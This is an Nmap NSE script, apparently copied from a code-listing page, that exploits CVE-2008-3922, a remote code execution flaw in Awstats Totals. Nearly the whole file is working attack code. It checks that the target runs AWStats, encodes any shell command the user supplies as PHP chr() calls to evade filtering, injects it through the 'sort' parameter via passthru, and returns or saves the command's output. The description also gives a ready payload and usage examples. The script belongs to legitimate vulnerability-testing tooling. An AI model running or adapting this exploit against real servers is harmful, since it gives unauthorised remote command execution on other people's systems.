1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
|
local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
description = [[
Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14
and possibly other products based on it (CVE: 2008-3922).
This vulnerability can be exploited through the GET variable <code>sort</code>.
The script queries the web server with the command payload encoded using PHP's
chr() function:
<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>
Common paths for Awstats Total:
* <code>/awstats/index.php</code>
* <code>/awstatstotals/index.php</code>
* <code>/awstats/awstatstotals.php</code>
References:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
* http://www.exploit-db.com/exploits/17324/
]]
---
-- @usage
-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
-- nmap -sV --script http-awstatstotals-exec.nse <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-awstatstotals-exec.nse:
-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
--
-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
---
-- Other useful args when running this script:
-- http.useragent - User Agent to use in GET request
--
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
portrule = shortport.http
--default values
local DEFAULT_CMD = "whoami"
local DEFAULT_URI = "/index.php"
---
--Writes string to file
-- @param filename Filename to write
-- @param content Content string
-- @return boolean status
-- @return string error
--Taken from: hostmap.nse
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
--Checks if Awstats Totals installation seems to be there
-- @param host Host table
-- @param port Port table
-- @param path Path pointing to AWStats Totals
-- @return true if awstats totals is found
local function check_installation(host, port, path)
local check_req = http.get(host, port, path)
if not(http.response_contains(check_req, "AWStats")) then
return false
end
return true
end
---
--MAIN
---
action = function(host, port)
local output = {}
local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")
--check for awstats signature
local awstats_check = check_installation(host, port, uri)
if not(awstats_check) then
stdnse.debug1("This does not look like Awstats Totals. Quitting.")
return
end
--Encode payload using PHP's chr()
local encoded_payload = {}
cmd:gsub(".", function(c) encoded_payload[#encoded_payload+1] = ("chr(%s)"):format(string.byte(c)) end)
local stealth_payload = "?sort={%24{passthru%28"..table.concat(encoded_payload,'.').."%29}}{%24{exit%28%29}}"
--set payload and send request
local req = http.get(host, port, uri .. stealth_payload)
if req.status and req.status == 200 then
output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)
--if out set, save output to file
if out then
local status, err = write_file(out, req.body)
if status then
output[#output+1] = string.format("Output saved to %s\n", out)
else
output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
end
end
else
if nmap.verbosity()>= 2 then
output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
end
end
--output
if #output>0 then
return table.concat(output, "\n")
end
end
|